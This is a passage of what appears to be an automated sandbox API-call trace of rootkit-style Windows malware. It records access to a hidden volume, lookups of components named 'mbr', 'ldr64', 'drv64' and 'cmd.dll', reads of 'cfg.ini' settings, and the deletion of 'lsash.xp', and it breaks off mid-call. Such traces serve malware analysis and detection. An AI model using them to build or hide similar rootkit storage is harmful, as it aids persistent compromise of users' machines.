MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.673] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.673] IdePortDispatch () returned 0x103 [0123.673] KeWaitForMutexObject () returned 0x0 [0123.673] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.673] KeLeaveCriticalRegion () [0123.673] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.673] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.673] KeEnterCriticalRegion () [0123.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f2000 [0123.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.673] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.673] IdePortDispatch () returned 0x103 [0123.673] KeWaitForMutexObject () returned 0x0 [0123.673] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.673] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.674] IdePortDispatch () returned 0x103 [0123.674] KeWaitForMutexObject () returned 0x0 [0123.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.674] KeLeaveCriticalRegion () [0123.674] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.674] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.674] KeEnterCriticalRegion () [0123.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.674] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.674] KeLeaveCriticalRegion () [0123.674] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.674] KeEnterCriticalRegion () [0123.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.674] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.674] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.674] KeLeaveCriticalRegion () [0123.674] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.674] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.675] KeEnterCriticalRegion () [0123.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.675] ExFreePoolWithTag (P=0xfffffa8003becf00, Tag=0x0) [0123.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.675] KeLeaveCriticalRegion () [0123.675] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.675] ReleaseMutex (hMutex=0xf0) returned 1 [0123.675] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.675] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.675] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.675] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.675] KeEnterCriticalRegion () [0123.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.675] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.675] IdePortDispatch () returned 0x103 [0123.675] KeWaitForMutexObject () returned 0x0 [0123.675] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.675] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.675] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.675] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.675] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.675] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.675] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.675] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.675] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.675] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.675] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.675] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.675] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.675] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.675] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.675] KeLeaveCriticalRegion () [0123.675] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.675] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.675] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.676] KeEnterCriticalRegion () [0123.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.676] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.676] IdePortDispatch () returned 0x103 [0123.676] KeWaitForMutexObject () returned 0x0 [0123.676] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.676] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.676] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.676] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.676] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.676] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.676] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.676] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.676] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.676] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.676] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.676] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.676] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.676] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.676] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.676] KeLeaveCriticalRegion () [0123.676] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.676] ReleaseMutex (hMutex=0x100) returned 1 [0123.676] Sleep (dwMilliseconds=0x2bf20) [0123.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ce9acd0, dwHighDateTime=0x1d24fa4)) [0123.682] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.682] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.682] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.682] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.683] KeEnterCriticalRegion () [0123.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.683] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.683] IdePortDispatch () returned 0x103 [0123.683] KeWaitForMutexObject () returned 0x0 [0123.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.683] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.683] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.683] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.683] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.683] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becf00 [0123.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.683] KeLeaveCriticalRegion () [0123.683] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.683] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.683] KeEnterCriticalRegion () [0123.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.683] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.683] KeLeaveCriticalRegion () [0123.683] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.683] KeEnterCriticalRegion () [0123.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.683] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.683] IdePortDispatch () returned 0x103 [0123.683] KeWaitForMutexObject () returned 0x0 [0123.684] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.684] KeLeaveCriticalRegion () [0123.684] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.684] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.684] KeEnterCriticalRegion () [0123.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.684] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f5000 [0123.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.684] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.684] IdePortDispatch () returned 0x103 [0123.684] KeWaitForMutexObject () returned 0x0 [0123.684] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.684] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.684] IdePortDispatch () returned 0x103 [0123.684] KeWaitForMutexObject () returned 0x0 [0123.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.684] KeLeaveCriticalRegion () [0123.685] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.685] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.685] KeEnterCriticalRegion () [0123.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.685] KeLeaveCriticalRegion () [0123.685] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.685] KeEnterCriticalRegion () [0123.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.685] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.685] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.685] KeLeaveCriticalRegion () [0123.685] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.685] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.685] KeEnterCriticalRegion () [0123.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.685] ExFreePoolWithTag (P=0xfffffa8003becf00, Tag=0x0) [0123.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.685] KeLeaveCriticalRegion () [0123.685] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.685] ReleaseMutex (hMutex=0xf0) returned 1 [0123.685] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.685] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.685] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.685] KeEnterCriticalRegion () [0123.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.686] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.686] IdePortDispatch () returned 0x103 [0123.686] KeWaitForMutexObject () returned 0x0 [0123.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.686] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.686] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.686] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.686] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.686] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bece50 [0123.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.686] KeLeaveCriticalRegion () [0123.686] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.686] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.686] KeEnterCriticalRegion () [0123.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.686] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.686] KeLeaveCriticalRegion () [0123.686] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.686] KeEnterCriticalRegion () [0123.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.686] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.686] IdePortDispatch () returned 0x103 [0123.686] KeWaitForMutexObject () returned 0x0 [0123.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.687] KeLeaveCriticalRegion () [0123.687] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.687] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.687] KeEnterCriticalRegion () [0123.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.687] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f6000 [0123.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.687] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.687] IdePortDispatch () returned 0x103 [0123.687] KeWaitForMutexObject () returned 0x0 [0123.687] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.687] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.687] IdePortDispatch () returned 0x103 [0123.687] KeWaitForMutexObject () returned 0x0 [0123.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.687] KeLeaveCriticalRegion () [0123.687] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.688] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.688] KeEnterCriticalRegion () [0123.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.688] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.688] KeLeaveCriticalRegion () [0123.688] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.688] KeEnterCriticalRegion () [0123.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.688] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.688] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.688] KeLeaveCriticalRegion () [0123.688] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.688] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.688] KeEnterCriticalRegion () [0123.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.688] ExFreePoolWithTag (P=0xfffffa8003bece50, Tag=0x0) [0123.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.688] KeLeaveCriticalRegion () [0123.688] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.688] ReleaseMutex (hMutex=0xf0) returned 1 [0123.688] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.688] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", 